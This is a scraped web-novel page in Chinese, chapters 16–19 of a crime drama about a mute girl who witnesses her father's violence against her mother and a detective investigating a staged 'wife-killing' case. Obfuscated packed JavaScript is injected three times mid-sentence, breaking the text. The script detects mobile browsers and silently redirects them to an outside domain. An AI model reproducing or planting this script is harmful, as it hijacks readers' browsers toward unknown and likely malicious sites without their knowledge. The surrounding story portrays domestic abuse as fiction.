锣鼓声、喊叫声、牛角声越来越远,连母亲也看不到了。你想哭,很想哭,想大声哭。可你连皱眉都不敢,生怕这座不停晃动的刀山被你的纤微动作压垮。 你瞥见大刀镜面上的那张苍白小脸,一点也不可爱。 呵!这个村寨的人也在说假话。 你眯着眼睛往下看,寨子在脚下,像黑色的鲼匍匐在山间。 端公爬得极快。脚底如铁,锋利的刀锋不能阻拦。 他在吟唱咒语,曲调时高时低,像一根无声无形的丝线在天地间振荡,而你在这振波中……只想尿尿。 从刀山上下来,你便夹紧双腿,跟母亲示意,她却紧张地毫无觉察,只顾着跪在地上朝傩公傩母搓着双手,满脸哀求。 你只得把腿夹得更紧一点,一回头看见端公把一柄小刀直直插进头顶……他松开双手,刀柄依然直直立着。 一杯酒端到母亲面前,她盯着插在端公头上的刀,手颤了又颤,仰起头把酒喝得一滴不剩。 而你听着母亲咕咚咕咚的吞咽声,终于呼啦呼啦在傩神面前尿了个痛快。 16. 第16章 从村寨回来后你便连续做了好几天噩梦。甚至有一天梦见,端公背着你上刀山,他刚开始唱咒语,你就尿在人家的后背。神仙怪罪,直接把你扎死在了刀山上。 梦里不得安宁,醒着时你也不得安宁。 你母亲每天都会问你。 “想不想说话?” “你能说话了对不对?你别骗妈!” “邪也驱了,刀山也上了,你还不张嘴说话是不是故意的?” 质问多次无果后,她终于失去了耐心,使劲捏住你的小嘴,扯你的舌,扣你的喉,把你折腾地眼泪鼻涕全冒出来才算完。 父亲得知母亲带着你跑那么远的地方请神驱邪试图治好你的哑症结果白跑一趟后,当即笑得上气不接下气。 “只有你们这些大字不识一个的农村妇女才信这些!” “你还跑那么远主动上门求骗,没见过你这么傻的。” “你摆摊那么辛苦,挣几个钱不容易,全让神汉给骗了。真是糊涂。” 你母亲冷笑一声,“原来你知道我摆摊很辛苦啊。” 你父亲一愣,表情有些不自在,“都是一家人,谁都不容易。再说我已经办了停薪留职。马上要去罗老板那里做技术总顾问。工资报酬随便我提,咱们的好日子马上就要来了。” 你母亲没好气地说:“咱们的好日子?是你一个人的好日子吧。你拍拍屁股潇洒走了,这个家,还有李重,全抛给我一个人。” “我都说让你别摆摊了。”你父亲语气柔和下来,“又赚不到几个钱,还把你累得半死。等我帮罗老板找到矿,拿一大笔钱回来,咱们就能从这个破房子搬出去,住高楼,住别墅,还能给李重找个特殊学校去上学。日子会越过越好。” 特殊学校?你母亲心头微微一动,转脸看向你父亲,“这次真能行?” 你父亲笑起来,“当然。不然那么多地质员罗老板不求,非求到我面前。算他眼光好,知道我这两把刷子不是谁都有的。” 说到这里,他语气更加柔和,“就是……这次我出门总要兜里装点钱,买点好衣服,也好跟人谈事。” 他确实没钱。这几年地质队仅有的几次发薪全被你奶奶要走,家里吃穿用度都靠着你母亲摆摊挣的那点钱。 你母亲转过身,“没有!” 你父亲拽着她的手,“你男人出门总要体面点。要是穿得破破烂烂,没人会看得起。这咋能挣到大钱?我这次去罗老板那里可不是当风餐露宿的地质员,是技术总顾问……” 见你母亲迟迟不肯拿出来,他急了,“你都愿意让神汉骗你钱,不愿意给我?我这可是正事,是咱们家的大事。” 老林头是神汉骗子吗? 你母亲并不认同,即便到现在你都不肯张口说话。 她亲眼看到老林头赤脚走过火炭,赤脚爬上刀山……除此之外,她在那个古老村寨里咂了最好喝的酒,吃了最勾人的酸汤,看到了最真诚的不带任何探寻、鄙视、或者怜悯的脸。在村寨的那晚她睡得最香甜。 “你知道吗?我帮罗老板找到矿拿到报酬只是第一步,我还想在他手里盘下一座矿山。”你父亲双目里透着精明,“然后我再转包给其他人,不花费我一分钱,就能赚几百万不止。这是什么概念?啊?” 你母亲终于肯转过身来,她盯着你父亲,“你今天准备从我这里拿多少?总不是几十、一百吧。” “新衣服只能让我看着体面点。重点是我要上下打点,把关系搞好,这样才能办大事。”你父亲一脸坦诚,“我知道你兜里还有三千块,放你那里没有半点用处,不如给我让我去运作,肯定能给你拿回来三万、三十万、甚至三百万。” “你偷看我账本。” “那哪能叫偷看?都是一家人。” 翌日,你父亲偷偷拿走你母亲藏在橱柜里的三千块去了天柱。 - 你母亲大哭了一场,对着你,把你父亲骂得体无全肤。每骂一次他曾经干下的恶心事,最后总要落到一句脏话:草你X。 你不懂这三个字到底在骂什么,精髓是什么,可这好像和你奶奶有关,你对这个干瘪的精明老太太并无半点感情,所以无所谓。 半年后,你父亲突然在一个深夜回来了。 他回来了,三千块没回来,穿得甚至比走的时候还要落魄。 自然又是一场大仗。吵得房顶掀开,吵得四邻不宁。 你父亲这人吧,饶是被人拿住了把柄,嘴上从不示弱。 “我好不容易攒的辛苦钱,你偷走不说,半年花得一分不剩。” “是我的错吗?我扎扎实实用我的技术帮那个罗老板找到重晶石矿。可谁能想到他只办理了硫铁矿开采证。警察来封矿,幸好我跑得快,不然你今天连我都见不到。” “那我赶紧报警,赶紧让他们把你抓走。省得你这个祸害继续祸害我。” “有你这么给人当老婆的吗?你还有没有点良心?!” “我没良心?是谁把这个家撑起来的?是我!是我!” “地质队情况还好的时候,你在家当少奶奶,啥活也不用干,我没半点功劳吗?” “少奶奶?有住土窝子的少奶奶吗?是我不愿意干活挣钱的吗?我让你帮我去食堂找个活干,你清高你死活不愿意。” “……” “……” - 李重啊,当时你在哪? 隔壁王阿姨有急事回了老家,你只得坐在自家门口,把里面两头怪兽的咆哮声强行挡在身后。 昏黄路灯下一道小小的影子倒在地面上。 你突然想起你的哥哥,那个你占了他名字的哥哥。 前几天老陀拿出白居易诗集,随口念了句诗:“彭殇徒自异,生死终无别。” 你歪着小脑袋看着他。 他看着你两个嘴角好几天不曾消失的暗红指印,长叹道:“彭祖活了八百年又如何,早亡的人又如何,人总归有一死,晚一点早一点没有任何区别。” 他塞给你一颗糖,“人只要活着就会很痛苦,所以咱们要多吃点甜的。” 全家期盼的、应该叫做“李重”的哥哥,他早亡了。 他的忌日是你的生日,你的生日是他的忌日。 那天,你没有生日蛋糕,没有生日祝福,连一个浅浅的拥抱也没有。 那天,你知道你要更乖一点,在母亲带着浓厚火纸味回来前,你最好睡着。 即便没睡着也要装着睡着,然后任凭母亲的手指描摹你的眼,你的眉头,还有你的脸。再痒,再难受,也要紧紧闭上眼睛。 其实,不用睁眼,你也知道彼时母亲的脸上一定会浮上一层慈爱柔光。 那不是给你的。 这是母亲和哥哥一年之中唯一链接的母子瞬间,你不会打破,也不忍打破,于是你装睡,一睡睡到天亮。 身后的咆哮声已经演绎成摔打声,想必锅碗瓢勺已经遭了殃,桌椅板凳也遭了罪,说不定等会你也会被提溜进去为他们的战火加把油。 此时此刻,你不是李重,更不是李晶,你是他们倒霉人生的证明,是他们不睦婚姻的见证…… -哥哥,如果是你活下来,会不会好一点? -哥哥,如果我和你都没活下来,会不会更好一点? - 这场战斗的结果是母亲带着你回了娘家。 你非常开心。 因为那个世界第一好的老太太会把你紧紧搂在怀里不停地喊你乖乖。 母亲抹着泪诉着苦,外婆也跟着哭,外公则抽着水烟一声不吭。你走过去,趴下来,把耳朵贴上水烟筒,里头咕噜咕噜的,像水在跳舞。 白烟飘出来,你去追,去闻,然后被外婆拎过来抱住说:“我的乖呀,小心烟醉!” 回娘家的第一天,母亲咬牙切齿地说要离婚。 第三天,母亲依然坚定要离婚。 第五天,母亲开始狂骂父亲,说他做了烂事连低头认错都不肯。老婆回娘家他竟然不管不顾,让她一个人丢脸。 骂到第十天时,父亲终于出现了。他拎着两袋苹果上门,啥话也没说,就这么坐在堂屋里。外公说他到底来了,说明还是想把日子过好的。母亲黑着脸不肯随他回家。父亲被闹得下不来台,不得已拉住你的手,问:“李重,你是不是想回家了?” -家? -207地质队那个土窝子?只有母亲忙碌的、五天一拌嘴十天一打架的地方? -是啊,应该是家。 -如果家空了,哥哥找不到母亲,会不会伤心? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14304384|152022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 你点点头,表示想。 父亲笑了起来。 母亲也似乎松了口气,但脸依然黑着。 你们三口终于一起回了家。 - 当晚,你被一泡尿憋醒。下床赤着脚,忍着寒意找放在床边的尿桶。突然外头响起一声震动。 你睁大眼,像无声的幽灵在暗夜掀开门帘。 土窝子再破也分了三间房,左侧那间你父母住,右侧那间你住,中间的作为堂屋用来吃饭、写作业、招待客人。 你站在堂屋里,扑面而来又是熟悉的羊膻味。木质方桌上放着一个大铁盆,盆里放着昨天母亲刚收拾出来的熟羊肉。冬天的黔北就是天然的冰箱,盆里的羊肉像一块块暗红石头,摞成了羊的“尸山”。一把羊腿刀插在尸山上,弯弯的木质刀柄从铁盆了探出头来。 对面传来你母亲呜呜咽咽的哭声。 你像冬天挂在屋檐下的冰棱子,冷得毫无知觉。门缝处投过来的一道昏黄光束将你这条冰棱子一劈为二。有股酒臭味隐隐从里面穿来。 “别碰我!滚开!” “你是我老婆!多久没让我搞了?现在连碰都不让我碰,想干嘛?是不是又在外面胡搞?” “放你妈的屁!你给我松手!不要碰我!” “你再给我生个儿子!” 里面瞬间冷寂下来。 紧接着你听见里头响起一声脆响。 你伸出一根手指,轻轻推开了门。门开了半边。 父亲是一座裸着的、骑压在母亲身上的山。同时他也是臃肿的,撅起的肚子几乎顶到了你母亲的脸上。 母亲浑身发抖,一只手被父亲紧紧攥住。 还没等她另一只手再次打过去,你父亲下手了,一巴掌狠狠打在母亲的脸上,直接把她的头打歪过去。 她看到了你。 你看到了她。 她的脸上全是泪。 “你算什么东西?!如果不是我娶了你,你这辈子都没人要!” “李重已经四岁了。我们现在有生儿子指标,为什么你不愿意生?” “你以为我想碰你吗?你要不是我老婆,给我钱我都不草!” 父亲把母亲的脸狠狠掰过来,“说!你为什么不让我碰你!” 你的嗓子突然非常痒,痒得恨不得把手指头伸进去抠。 母亲双腿乱踢着,大吼大哭,“我就是死也不会给你生儿子!我有儿子,他叫李重,他还活着,活在我的心里!” 你终于忍不住了,把手指头伸进嘴里,插到舌根,拽着,薅着,扯着,痛点没关系,总要说点什么吧。说点什么才能让所有人看到你的存在。 墙壁上父亲的影子骤然变大,手掌变成了铁蒲扇,一下一下重重打在母亲的脸上、身上、胸上…… 你猛然转过身,从“尸山”上拔下羊腿刀,然后扭头重重撞开门,铺天盖地的光将你包裹……酒臭味彻底冲出来。 父亲转过头来,不可思议地看着你。 你无声流着泪,小手高高举着刀,刀尖正对着他。 母亲的唇角沁着血。她盯着你,又是那种眼神……又近又远,又实又空,好似在看你,又好像透过你看另一个人。 “李重你想干嘛?!把刀放下!” 你伸直舌头,上下嘴唇一碰,从喉咙里发出一声模糊的呼喊,只可惜无人听见。 父亲震怒,从母亲身上跨下来,像一头野人,一头毫无遮掩、吃生肉、喝鲜血、浑身长满毛的野人。 很久之后,你学到历史课本上的直立人,你如同惊弓之鸟,偷偷用铅笔把那幅画涂成了一团黑。 此刻你没有后退,反而踮起脚把刀举得更高了一点。 父亲带着酒臭味扑过来,你从他张舞的手臂下钻过去,挡在了母亲的面前。 你不知道是冷得还是吓得,上下牙齿不停打架,浑身哆嗦出了幻影。 嗓子更痒了,如同万只蚂蚁在里面啃噬。 你竟然痒得哭出声来,越哭越大,越大越哭,上下嘴唇碰在一起,终于喊了那声迟来的呼唤。 “妈妈!” “妈妈!” “妈妈!” 一声比一声大,在1994年的某个冬日夜晚,传遍了整个地质大院。 17. 第17章 “妈妈!” “妈妈!我冷,这里好冷。” “快抱抱我!” …… 陈秋池陡然醒来,胸口剧烈起伏着。 她闭上眼,好半天才反应过原来是个梦。伸出手,顺着熟悉的方向摸了摸,旁边小小枕头上空空的,什么也没有。 窗外又燥又潮的风吹来,把窗帘卷起,露出微微晨曦,她这才发现昨晚回来太困,空调也没开,窗户也没关,挨着床就睡着了。 现在浑身都是汗。冰箱里什么也没有,她把头伸进去冷冻了一会,长出几口气后,这才走出去,把门打开,从门口小盒子里拿了一瓶今天刚送来的牛奶。 瓶子上写着八个字:每日鲜奶,宝宝最爱。 陈秋池盯着上面的字愣了几秒,拧开瓶盖,小小抿了一口。 这时,范力打来了电话。 两天一夜没休息,即便方才睡了几个小时,她眼下依然隐隐青黑。 屏幕上的两个字让她的心猛烈坠下去,很久很久以后才勉强爬上来。 等反应过来时对方已经挂了电话。 没多久几条微信跳出来。 【我们什么时候去办离婚手续?】 【你别怪我,我只是想好好生活下去。】 【你也得学会放下。】 【对了,你要不要去看下心理医生?没有人会每天往手腕上画金鱼。你皮肤容易过敏,那种彩笔颜料会让你的过敏加重,非常痒不说,你挠破了还会留疤。我都不知道你是怎么忍下来的?!】 陈秋池扯了扯嘴唇,漠然地按灭手机。 - 两名警察在查案过程中被人围堵长达半小时,他们被拍摄,被直播,被推搡,被污蔑,这件事由此又将“杀妻案”推向新的热度。幸好这两人全程冷静,沉着应对,并将局势控制在可控范围内,也幸好明事理、明法理的人多,舆论才没有被“歪理”带歪。 即便如此,各种质疑猜测依然尘嚣甚上。现在追求舆论自由,针对社会话题每个人都有评价的权利,即便道听途说说错了,随意瞎猜猜错了,也没关系,道歉就行,甚至有时候连道歉也不用,大不了换号再来。 有人说方月华如此明目张胆地杀人,这个节骨眼又有一群人瞎闹事要求警察把他放出来,他……是不是上面有人? 有人说方月华可能被某某男权组织毒害了,仇女仇到要对枕边人下手。这次闹事会不会这个组织背后指挥的? 有人还斩钉截铁地说方月华跟唐继业有一腿,李重发现自己是同妻,方月华为了和心上人在一起就杀了她,而唐继业为了和心上人在一起,找人围攻警察,给警察施压。 陈秋池看到这些评论时,忍不住深深吸了口气,然后就看到有网友把关注转移到了她的身上。 大力夸赞她冷静的同时,开始扒她的“生平经历”,评论她的脸和身材,以及性别。 有人问:让一个女警察来侦破一起杀妻案,这种操作有点怪吧? 有人问:这个女警察会不会仇男啊,这会不会影响她判断失误? 有人问:女人当刑警,能行吗? - 陈秋池赶回局里时,刘波刚从审讯室走出来。 “不是让你今天在家休息吗?” “审得如何?” “没吃早餐吧。我让苏鹤给你买。” “刘队,”陈秋池蹙着眉,“站在你面前的是一名刑警,还是你从小就认识的邻家妹妹?” 刘波一愣,随即笑起来,“一会儿继续审。你要参加。” “当然,是我的案子。我肯定要参加。”陈秋池定定道。 - 审讯室。 唐继业絮絮叨叨,“警察同事,我一会还要去买菜回家给我女儿做午饭,她妈不会做饭,我女儿吃不到我做的饭回闹脾气的。” 陈秋池看着他,片刻后,他闭上了嘴。 “是你告诉那些供应商,方月华被抓,他的钱就会被政府没收?” 唐继业像被踩着尾巴似的,一口否认,“没有!绝对没有!我原话是说方月华欠了我很多钱,我现在巴不得他被放出来,赶紧把钱还给我。不然这些钱肯定要拿来赔给李重的家人。我一分钱也捞不着。” 苏鹤想起昨天的事就心有余悸,万一刘队他们没有及时赶来,万一围堵的这些人中哪个一时冲动直接动手了,哪怕谁随便瞎喊一句:警察打人了,他和组长今天就没办法全身而退。 所以面前这个搅事者仍然一副不关我事的样子,让他的火立刻冒起来。 “唐继业你还敢狡辩?要是没有你的挑唆,他们会围堵警察吗?你是不是预感到我们会来传唤你,所以提前预备着?你和方月华之间到底有什么见不得人的勾结?你是有多害怕来公安局?” 唐继业连连摆手,“真没有!我真的没有挑唆,也没有不愿意配合调查,我真的就是个正经做生意的。我真不知道方月华是这种杀妻变态狂啊,要知道的话,我肯定第一个举报他,而且绝对不会和他做朋友,更不会让他去我家吃饭,见我的老婆孩子……哎呦,你们是不知道我老婆孩子最近被吓得睡都睡不好……” 陈秋池打断他,“先说说方月华介绍给你的工程。” 唐继业擦着额头的冷汗。 “他介绍的工程的确是个好工程,德威集团你们知道吧,他们可是咱们市最大的工业产业园运营商,虽然没上市,但资产雄厚,名下产业园有几十个,是我们这些做工程的最想巴结的对象……” “警察同志,做工程就是这样。关系搞好了,就能拿到项目。当然,我们可是正儿八经做生意的,不搞送礼行贿那一套。投标、述标、竞标、开标这些流程都是严格按照国家规定搞的。这点你们放一万个心。” “方月华不知道从哪里知道德威集团有个新建产业园的道路工程正在筹备,就过来找我合作,让我去投标。” 唐继业指着从他办公室里拿来的七八个文件袋。 这里面装着这个工程所有相关的文件,包括投标文件、合同、设计方案、竣工验收报告、竣工结算报告、审计结算报告等等。一项工程从投标开始到拿到工程款,需要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14315524|152022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一系列各个阶段的纸质盖章文件,缺一不可。 “去年的运气真是出奇的好啊,我们公司顺利通过考核进入德威集团的供应商库,还非常幸运地中了标,拿到了项目。这个产业园刚好又着急建,着急开园招商,所以工程进度也非常快,德威集团不愧是大公司,等我们施工完,审计结算后就一分不少地付了我们工程款。” 陈秋池翻看着面前的一堆资料。这项工程从开始招标到施工结束总共五个月,整个工程造价1000万左右,对于小规模工程公司来说,造价可观,技术又没什么难度,业主又是这样有实力的大公司,确实是个大家都会争抢的香饽饽。 尤其对于唐继业来说,他的工程公司多年经营不善,接的工程要么小得可怜,要么业主事多还拖欠工程款,遇到这样的好项目当然属于时来运转。 “你给方月华多少介绍费?”陈秋池问。 唐继业伸出三个手指头,“给了他三个点,也就是三十万。不少了,我这都是市场价加上多年的友谊价。文件袋里有我和他签订的合同协议和支付凭证。” 说到这里,他有点不忿道:“我本来只想给他十万,他只是提供我一个项目信息,中间所有的流程、手续还有有具体施工都是我一个人操心搞下来的。是我垫的资,是我出的人,是我没日没夜在工地上操劳,他动了动嘴皮子就拿了三十万……这钱也太好赚了。” 2022年三个月内方月华突然拿到一笔巨款,不仅偿还了自己的债务,把自己从失信人名单上去除,还把他的妻子李重身上87万的账务全部还清。 假如这三十万中间费真实存在,毫无问题,那剩下的近百万的窟窿又是用哪里来的钱填上的? 这时,刘波进来了。一道巨大的阴影瞬时压到了唐继业的身上。 唐继业仰起头,看见一张满是凝重煞气的脸,他立马忍不住哆嗦了一下。 “唐先生,别害怕,只是例行询问。没有别的意思。” 刘波笑呵呵地从嘴里吐出如沐春风的话。 唐继业立马觉得这张凶神恶煞的脸温柔了许多。 “我不怕。没做亏心事不怕鬼上门,”唐继业满脸尴尬,“哎呀,没说你们是鬼……” 他开始诉苦,说上辈子是造了孽才做工程,工程老板尤其是小工程老板那就是最苦逼的底层,不仅要受业主的压榨,还要被工人追着屁股讨债,供应商也会一言不合就上门堵人。 说着说着一把眼泪一把鼻涕地哭开了。 陈秋池默默看着刘波递过去一张纸,看着他拍了拍唐继业的肩膀,“不容易,干什么都不容易啊。” 苏鹤锁起眉头。 陈秋池索性把笔放下。 刘波递给唐继业第三张纸巾的时候,突然来了句,“朱景福,你认识吧。” 唐继业下意识地点了下头,然后猛然愣住,“不,不认识。” 刘波回头看向陈秋池,“朱景福是德威集团工程部经理,也是黔北人,和方月华是初中同学。” 他顿了下,“也是李重的初中同学,以及初恋。” 18. 第18章 谁能想到,“杀妻案”泥沙俱下的各种爆料中,还能被刘波淘到这样的真实信息。 案件相关人的关系网正在浮出水面,谁曾经在这个网上弹跳了一下,又曾经引起了怎样的颤动变故,掌握了这些,或许就能找到事情本来的面目。 他乡遇旧友,一起开开心心吃顿饭非常正常。但,如果这样的旧友手握大权,地位超然,那饭局就立马变了味。觥筹交错间,各人怀着各样的心思,你来我往中,有些事情自然不用明说。 方月华从陈秋池嘴里听到朱景福三个字时连连摆手,“他不重要!不重要!他的确是我和李重的初中同班同学。但现在的关键问题是,我们要了解、分析、判断李重为什么要这样?为什么要陷害我?为什么要让所有人看到我杀了她?!” 陈秋池看着他,“我们?” “我想知道,她到底是一个什么样的人?她平常温温顺顺,到底是从哪里来的胆子敢布这么大一局,让我跳进去?她是从哪一天哪一刻哪一秒对我动了杀心?我想知道,非常想知道。” 方月华已经被关了两天两夜,即便在里头吃不好睡不好,可此刻他满脸兴奋,两只眼睛簇簇亮亮,像躲在黝黑角落里的怪兽,终于发现了猎物,马上就可以一跃而起,扑过去,用锋利尖锐的牙齿刺破她的血肉,尝到她鲜腥的血……可是,可是她明明就在眼前,他两腿蹬地,却发现自己被拴住了。 很难受,非常难受,他抓心挠肺,浑身瘙痒,李重活着的时候都没有让他如此心动,如今她死了,出乎预料地死了,却让他多年“平静从容”的心难得跳动起来。 啊!这是多么美妙的体验啊! 方月华鼻翼不停煽动,“陈警官,我们要一起齐心协力找到这个答案!” 陈秋池冷冷地看着他,“查案是公安机关的责任,你的责任是交代犯罪事实,争取宽大处理。” 方月华一瞬不瞬地盯着陈秋池,“我们做个交易吧。为表示诚意,也为节省你的时间,更为了尽快找到李重陷害我的原因,我可以告诉其中一个事实。” 他坐在那里,手脚被缚,言谈间语调非常自如,就像舒服地坐在咖啡厅里,正和人松弛地谈一桩生意。 苏鹤被气笑了,从没见过这么嚣张张狂的嫌疑人。 陈秋池眉眼没有丝毫松动,就这么沉静地看着他。 方月华憋不住了,自顾自地说:“我和朱景福之间没有任何利益输送。德威集团公开招标,公开竞争,那样大的公司,多少人盯着,谁敢搞小九九啊?!” “唐继业说他送了十万给朱景福,是通过你送给的。”陈秋池问。 方月华定定道:“我再说一次,我和朱景福之间没有任何利益输送。你们可以随便查。” “你把这十万吞了?” “那不叫吞。朱景福不差钱,我知道他不会要,所以压根就没把这十万拿给他。如果我拿去给他,不是拖老朋友下水吗?那是不道义。” 陈秋池:“唐继业交代,除了德威集团产业园道路工程,你还介绍了两个项目给他,也是朱景福负责的项目。他认为是他送出去这十万块钱起了作用。” “老唐哪里都好,就是缺乏自信。是我们工程做的好,服务周到,不论多么赶的工期都能提前完工。业主认可,就们多拿项目,这有什么难理解的?” “朱景福和李重是什么关系?” 陈秋池瞥见方月华的鼻子又抽动了两下。 “我们三个是初中同班同学。你说他们两个是什么关系?” “你在直播的时候说过,李重和你相亲前有一个男朋友,是朱景福吗?” “是又如何?这都过去多少年了。我都不在乎,你们又觉得这里面会有什么问题?” 说到这里,他冷冷道:“我一再强调,朱景福不重要。” 妻子的命不重要?!他可能犯的罪也不重要?! “那什么才是重要的?!”苏鹤忍不住质问。 方月华沉沉道:“李重出轨了!” - 陈秋池第一次见方月华时,就问过他夫妻感情如何?他说了三个字:非常好。 他张口闭口诉说着自己对妻子深切的爱,浓重的情,把自己供在一个“完美丈夫”的绝高牌位上。用天然亲近的长相,令人信服的言辞,感人至深的演讲,让无数网友感动,悲悯,乃至相信他。然后一场谁也没有料到的死亡,以直播的形式把他的伪装全部撕破……但他至今咬死自己才是受害者,李重才是罪魁祸首。 至于她为什么要这么做,他苦思冥想两天两夜,终于抛出这样一个理由:她出轨了,她为了保护自己的情夫,她不惜设局诬陷他。 “以死为代价吗?”陈秋池觉得自己的声音非常飘,可说出来的话又极其沉重。 方月华端正的脸突然开始坍塌,眉眼裂了,唇角裂了,两个眼珠子从窟窿里掉下来咕噜咕噜滚到了地上……审讯室一片死寂,好半天他才把这些零碎部件凑齐,装好,恢复成一张完整的带着微微笑意的脸。 他微微抬起眼睑,露出一条讥笑的缝隙,“我老婆傻呗。” - 对于男人来说,妻子出轨就像是被人拉了一大坨屎在头上,是非同一般的奇耻大辱。 是个男人都恨不得把这对奸夫□□挖心掏肺剁吧剁吧喂猪……但方月华竟然忍下来了。 当然忍下来之前,他曾经威胁过李重。 所谓的“威胁”在他看来,也是人之常情,被逼无奈,且并未对李重造成重大损失,反而是方月华本人深受其害。 “我发现李重出轨的时候,说实话,我恨不得杀了她。” “但我舍不得。我告诉她,如果被我再次发现,我就去她单位闹,让那个男的身败名裂,家破人亡。” “所以,我这是威胁吗?当然不是。反而是我在乎她的表现。”方月华说到这里时脸上有种说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14329718|152022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不出的割裂感,“哪个男人能这么大度?有吗?没有!!!” “但她显然不这么想。她布这么大个局,吊死自己,再诬陷我,看来是真爱他。宁可自己死,也不愿意让老情人受伤。” “真是有趣啊!”方月华露出白亮的牙齿,指腹间不停摩擦,像在品味到什么好吃的东西,“真想把她的小脑袋瓜掰开,看看里面到底装了什么。” 他仰起脸,幽幽道:“我觉得……我真的有点爱她了。” - 陈秋池浑身的汗毛骤然竖起,冷意咻的一下从皮肤渗入骨头里,她看着方月华似笑非笑的脸,狠狠打了个冷颤。 面前这个男人可以伪装成最模范最标准的好丈夫。 他用谎言吹起粉红泡泡,用谎言和蜜语搭建幽深巢穴,诱惑着你跳下去,钻进去。你满心欢喜地仰望着他,他搂着你耳鬓厮磨的同时,悄悄地,慢慢地,分泌出蛛丝来,一点点从后面缠住你,裹住你,直到那些白色的丝勒紧你的脖子,你的四肢,你的五脏六腑,你这才发现你动弹不得,你的想法,你的活力,你的希望,都不再重要,你失去了自我。 现在陈秋池终于明白李重写下的那句话“戳破粉红泡泡后,发现里面躺着一具干瘪的毫无生机的尸体。” 这具尸体不是别人,正是她自己…… 而现在,方月华终于说了真话,他在过去的十年没有爱过他的妻子,现在他的妻子死了,出乎意料的死了,死在他的控制之外,他内心某根隐秘的神经被狠狠触动了。 他以为这是爱。 - “李重的出轨对象是谁?你有证据吗?”苏鹤厉声质问。 方月华有些不满地瞪着打断他“品尝美味”的苏鹤,“我不知道。但我的直觉告诉我她出轨了。” 苏鹤被他气笑了。 这人看似平和,实则张狂,毫无畏惧心的他即便坐在警察面前,也敢口出狂言,任意编排。 “我查过。但没查到。” “她隐藏的太深了。我把她手机里保存的电话号码、微信通讯录、单位KK,甚至她的微博小红书抖音各个平台的关注人都查了一遍,没有发现任何异常。” 他直白地说着他是如何窥探李重的个人隐私,将她的社会关系、人际交往等等悉数掌握,就像是李重是他的附属物,可以随时抽取调查。 “我们结婚十年,她眨眨眼睛,皱皱眉毛,哪怕没张嘴我都能猜到她想说什么,要做什么,再细微的情绪我都能捕捉到……她想骗我,那是痴心妄想,她想隐瞒我,更是想都别想。” “她跟我说,她没有做任何对不起我的事。可我明明感受到她很开心,那种开心很微妙,很隐晦,但真真切切存在,我敢肯定不是来自我,她的丈夫……” “她怎么可以从别人那里获得快乐?我给她的还不够吗?” 方月华说到这里时,淡定道:“你们是不是认为我是个变态?” 19. 第19章 一叠考勤表放在陈秋池和苏鹤的面前。 市设计院三年前还有六百多人,疫情期间形势急转直下,目前在岗员工只剩100余人。一面A4纸上能排20人,一个月份的考勤表大概只有四五面。每人占据一行,清楚地记录了当月的出勤时间、请假类型、请假时长、迟到次数、调休时间等信息,每人核实后亲笔签字。 不愧是设计院的考勤表,大部分设计师的签名都极具艺术特色,要么龙飞凤舞,有筋有骨,要么直接划一道略有起伏的线条,艺术得难以辨认。几个犹如小学生字体的签名多是非设计部门的员工所写。 翻到七月份之前的考勤,李重的签名在一众签名中圆滚滚得像闯入这个世界的异类,一眼就能识别。 “郑部长,这些签名确保都是本人签字吗?”陈秋池抬眼看向行政管理部部长郑春雨。 郑部长的表情十分微妙。今年设计院是遭了什么霉运吗?警察三番四次登门调查,前几天好不容易洗脱压榨员工的罪名,现在警察又杀了个回马枪,大清早让她翻出近一年的考勤表。 “当然都是本人签名的。考勤和工资息息相关,如实记录考勤是我们行政管理部的重要工作之一。” “哦。”陈秋池不置可否地点点头,翻了翻,“能否请这三位同事过来写几个字?” 她的手指依次点了三个男性员工。 郑春雨皱着眉,“陈警官您这是做什么?我们设计院好不容易风平浪静,再这样折腾一遍,我们今年的产值目标就完成不了。您也知道现在经济形势不好,一个项目不知道多少人在抢,大家都很忙很忙……” 陈秋池今天好像很有耐心,并未打断她的抱怨。 郑春雨输出半天,面前这位气质冷清的女警官不为所动,搞得能言善辩的她也说不下去了。 于是这三人被一一请来小会议室。 第一位男同事和李重同期来的设计院,他刚进来就一脸不悦地摆手,“我跟李重可一点也不熟。警察小姐,你把我叫进来谈话已经对我造成非常大的困扰。同事们怎么看我?我老婆要是知道我被问话,我连家都回不去。我承认我是个粑耳朵,妻管严,我绝对不可能在外面乱搞的。” 郑春雨咳咳两声,“王工,你能不能先听听陈警官讲讲她需要你做什么?” 陈秋池拿出一张纸,“麻烦你把这五个字写下来。” 粑耳朵王工定神一看,不解地问:“这是啥?小可爱?谁是小可爱?谁的小可爱?跟我什么关系?” 郑春雨真想把他的嘴巴捂住,“让你写你就赶紧写。写完回去干活。” 